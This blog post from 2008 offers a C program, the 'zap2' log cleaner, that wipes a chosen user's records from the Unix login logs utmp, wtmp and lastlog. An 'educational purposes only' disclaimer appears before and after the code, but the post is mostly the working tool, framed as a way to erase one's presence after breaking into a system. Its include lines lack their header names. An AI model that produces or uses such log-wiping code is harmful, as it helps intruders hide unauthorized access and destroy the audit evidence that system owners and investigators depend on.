Friday, May 23, 2008

Erasing Your Presence From System Logs

Erasing Your Presence From System Logs
¤¤ Erasing Your Presence From System Logs ¤¤

Disclaimer:-
i am not liable for any criminal or bad thing which you have done using this message and document. i am giving here for the educational purpose and care should be taken from your side before using this document and please get a written permission from the person before hacking or doing some thing in the network or system.This document is intended for judicial or educational purposes. I have collected these documents and messages from the internet for educational purpose only. always use these documents for doing good only. I don't want to promote computer crime and I'm not responible of your actions in any way. If you want to hack a computer, do the decent thing and ask for permission first. please read and use this for useful purpose only to protect the systems and information from the bad people. always seek permission from the system owner or who ever responcible for the system by written and then go ahead. Give a full report with honestly to the person or company about your experiments and findings from the system. Always Do Good Think Good and Belive Good.



Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.



Example:



#include

#include

#include

#include

#include

#include

#include

#include

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"



int f;



void kill_utmp(who)

char *who;

{

struct utmp utmp_ent;



if ((f=open(UTMP_NAME,O_RDWR))>=0) {

while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof( utmp_ent ));

lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);

write (f, &utmp_ent, sizeof (utmp_ent));

}

close(f);

}

}



void kill_wtmp(who)

char *who;

{

struct utmp utmp_ent;

long pos;



pos = 1L;

if ((f=open(WTMP_NAME,O_RDWR))>=0) {



while(pos != -1L) {

lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);

if (read (f, &utmp_ent, sizeof (struct utmp))<0) {

pos = -1L;

} else {

if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {

bzero((char *)&utmp_ent,sizeof(struct utmp ));

lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);

write (f, &utmp_ent, sizeof (utmp_ent));

pos = -1L;

} else pos += 1L;

}

}

close(f);

}

}



void kill_lastlog(who)

char *who;

{

struct passwd *pwd;

struct lastlog newll;



if ((pwd=getpwnam(who))!=NULL) {



if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {

lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);

bzero((char *)&newll,sizeof( newll ));

write(f, (char *)&newll, sizeof( newll ));

close(f);

}



} else printf("%s: ?\n",who);

}



main(argc,argv)

int argc;

char *argv[];

{

if (argc==2) {

kill_lastlog(argv[1]);

kill_wtmp(argv[1]);

kill_utmp(argv[1]);

printf("Zap2!\n");

} else

printf("Error.\n");

}

Disclaimer:-
i am not liable for any criminal or bad thing which you have done using this message and document. i am giving here for the educational purpose and care should be taken from your side before using this document and please get a written permission from the person before hacking or doing some thing in the network or system.This document is intended for judicial or educational purposes. I have collected these documents and messages from the internet for educational purpose only. always use these documents for doing good only. I don't want to promote computer crime and I'm not responible of your actions in any way. If you want to hack a computer, do the decent thing and ask for permission first. please read and use this for useful purpose only to protect the systems and information from the bad people. always seek permission from the system owner or who ever responcible for the system by written and then go ahead. Give a full report with honestly to the person or company about your experiments and findings from the system. Always Do Good Think Good and Belive Good.

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